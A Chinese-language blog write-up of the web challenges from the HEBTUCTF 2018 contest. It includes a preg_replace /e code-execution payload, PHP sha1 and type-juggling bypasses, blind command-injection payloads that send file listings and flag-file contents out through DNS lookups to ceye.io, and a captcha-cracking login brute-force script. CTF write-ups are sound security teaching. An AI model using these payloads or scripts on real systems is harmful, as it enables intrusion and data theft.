HEBTUCTF

作者: ch3nie | 来源:发表于2019-04-03 15:52 被阅读0次

    title: HEBTUCTF2018-WEB-WP
    date: 2018-11-18 18:00:13
    tags: [Writeup,ctf]


    HEBTUCTF

    web1-qiandao

    打开题目链接就直接有flag

    hi,欢迎来到河北师范大学信息安全挑战赛
    
    本题,将告诉你如何正确提交答案。
    
    本题的答案为:flag{welcome_to_HEBTU}
    
    请将以上答案提交至参赛平台,即视为答对本题。
    

    web2-qiandao2

    题述:签到爽不爽?开不开心,拿分数拿的happy不happy。 http://47.94.129.246:2132/qiandao2/ 来吧,再签一个。
    

    打开题随便提交一串字符,发现弹出个框

    mark

    让提交HEBTUCTF2018,所以我们现在提交这个会发现前端做了限制,输入的最大长度为10,然而HEBTUCTF2018为12个字符,直接修改前端js,然后提交HEBTUCTF2018,拿到flag

    mark
    HEBTUCTF{Qi4n_Da0_cH3n9_g0n9}
    

    web3-2048_easy

    题述:小火汁,听说你打游戏超厉害,你玩到10240分我就给你flag http://47.94.129.246:2132/2048/2048.html p.s. 答案格式 flag{.+}
    

    打开题目链接是个2048的游戏,我们看一下源码,发现加载了很多js,我们看一下这些js,发现在main2048.js里面发现赢了的话会调用一个gamewin()的函数,gamewin()函数如下

    function gamewin(){
        ゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
    }
    

    这个是aaencode加密,我们解密得到两个flag

    alert('flag{2O48_1s_fun}');
    console.log('HEBTUCTF{Aaenc0de_1s_FuN}');
    

    233333这两个分别是两个题的flag,第一个是这个题的flag,第二个是2048_brain_hole的flag

    flag{2O48_1s_fun}
    

    这个题也可以直接在控制台调用gamewin()函数,然后可以弹出flag{2O48_1s_fun},然后控制台打印HEBTUCTF{Aaenc0de_1s_FuN}

    然后,其实这个题还有一种拿到flag的方法,main2048.js里面有如下代码

    function isgamewin(){
        if(score>10240) {
            gamewin();
            swal({
                title: '恭喜你,成功通关',
                text: '2秒后自动关闭',
                timer: 2000
            })
    
        }
        
    }
    

    我们可以在控制台执行score=10241也可以拿到flag(只要那个数比10240大就行)

    web4-2048_brain_hole

    题述:啥,你玩到10240分了?那你也拿不到我这道题的分数。 http://47.94.129.246:2132/2048/2048.html p.s. 答案格式 HEBTUCTF{.+}
    

    和web3是同一个题,提交第二个flag就可以了23333

    web5-简单的命令执行

    题述:来吧,相信你可以的。 http://47.94.129.246:2280/
    

    打开题目链接之后如下

    <?php 
    /*please add HEBTU{} when you found the secret string*/ 
        highlight_file(__FILE__); 
        error_reporting(0); 
        echo preg_replace("/123(.+?)123/ies", 'text("\\1")', $_POST['h']);
        function text($str)
        {
            echo '123';
        }
    ?>
    

    看到这里我们我们可以知道他考的是 preg_replace /e模式下的代码执行问题,可以参考下面的一个文章

    慎用preg_replace危险的/e修饰符

    然后这个题post过去h=123{${phpinfo()}}123可以成功读取phpinfo界面,现在我们命令执行列目录然后读文件拿到flag,好吧,这个题直接列目录出来的就flag

    mark
    HEBTU{pr3g_repl@ce_Fun!}
    

    web6-phpisbest

    <?php 
    show_source(__FILE__);
    @include_once 'flag.php';
    // 前端攻城狮跑路了,不过PHP是最好的语言
        $a = $_GET['a'];
        $b = $_GET['b'];
        $good = false;
        if ($a != $b && sha1($a)===sha1($b)) {
            $good = true;
        }
        else die('bypass');
        if ($good && isset($_GET['key'])){
            $message = json_decode(stripslashes($_GET['key']));
            if ($message->key==$key) {
                echo $flag;
            }    
            else die('还差一点就拿到flag了');
        }
    
    ?>
    

    这个题我们要传过去三个参数,首先我们要绕过第一个限制$a != $b && sha1($a)===sha1($b),这里利用sha1()函数的漏洞。把这两个字段构造成数组,如a[]=q&b[]=w,这样在第一处判断是两数组确实是不同的,但在第二处判断是由于sha1()函数无法处理数组类型,将报错并返回false,if条件成立,绕过第一个限制

        if ($a != $b && sha1($a)===sha1($b)) {
            $good = true;
        }
    

    现在绕第二个限制。传过去的key先删除反斜杠然后再对JSON格式的字符串进行编码,转换为PHP变量,然后赋给$message。然后 $message->key==$key利用php弱类型去绕过。

    if ($good && isset($_GET['key'])){
            $message = json_decode(stripslashes($_GET['key']));
            if ($message->key==$key) {
                echo $flag;
            }    
            else die('还差一点就拿到flag了');
        }
    
    

    最后payload如下http://47.94.129.246:2132/phpisbest/?a[]=1&b[]=2&key={"key":0}

    HEBTUCTF{PhP_1s_7he_beSt_L4an9uage}
    

    web7-ping

    题述:小x同学找到了一个大黑阔的工具,这个工具你会使用么? http://47.94.129.246:2180/
    

    这个题测试几个ip会知道没有回显,emmm盲打,由于我服务器停了,所以我用的ceye(每个用户,有唯一标识符代码和唯一子域值)做的,来吧,开始命令执行,直接ls会有问题,然后用sed命令逐行处理文件,然后payload如下

    ip=`ls|sed -n "1p"`.ip.port.标识符.ceye.io
    
    mark

    知道flag在flaaaaag.php文件中,然后去cat他(直接cat不行,我们还是用sed命令逐行处理文件),post过去的payload如下

    ip=`cat flaaaaag.php | sed -n "2p"`.ip.port.标识符.ceye.io
    
    mark

    最后拿到flag

    HEBTUCTF{Bl1Nd_RC3_1s_h4rD}
    

    web8-baopo

    题述:小x同学找到了HEBTU的后台管理,可是他登录不上去,你可以帮帮他么?
    http://47.94.129.246:2132/baopo
    p.s. 答案格式 HEBTUCTF{.+}
    

    打开链接是个后台管理系统,看一下源码里面有个hint:``,那爆破没跑了,不过还有个md5的验证码

    mark
    # -*- coding: utf-8 -*-
    import requests
    import re
    import hashlib
    from bs4 import BeautifulSoup
    
    #header,抓一个包
    headers={
    'Host':'47.94.129.246:2132',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate',
    'Referer':'http://47.94.129.246:2132/baopo/',
    'Connection':'keep-alive',
    'Cookie':'PHPSESSID=gdrequp9nir7khu8d9ja4e36t5',
    'Upgrade-Insecure-Requests':'1'
    }
    
    for mima in range(999):
        #获取页面验证码
        url="http://47.94.129.246:2132/baopo/"
        req=requests.get(url=url,headers=headers)
        soup=BeautifulSoup(req.text,'html.parser')
        yzm=re.findall('[0-9a-f]{5}',soup.text)[0]
        #print yzm
    
       #验证码爆破
        for yzm_bp in range(100000):
            if hashlib.md5(str(yzm_bp)).hexdigest()[0:5]==yzm:
                #print yzm_bp
                break
    
        url='http://47.94.129.246:2132/baopo/index.php?username=admin&password={0}&randcode={1}'.format(mima,yzm_bp)
        request=requests.get(url=url,headers=headers)
        request.encoding='utf-8'
        #print request.text
        #print mima
        if "HEBTUCTF" in request.text:
            print request.text
            break
    
    
    mark

    跑脚本拿到密码flag

    HEBTUCTF{Bru7e_f0rC3_233}
    

    相关文章

      网友评论

          本文标题:HEBTUCTF

          本文链接:https://www.haomeiwen.com/subject/ytezbqtx.html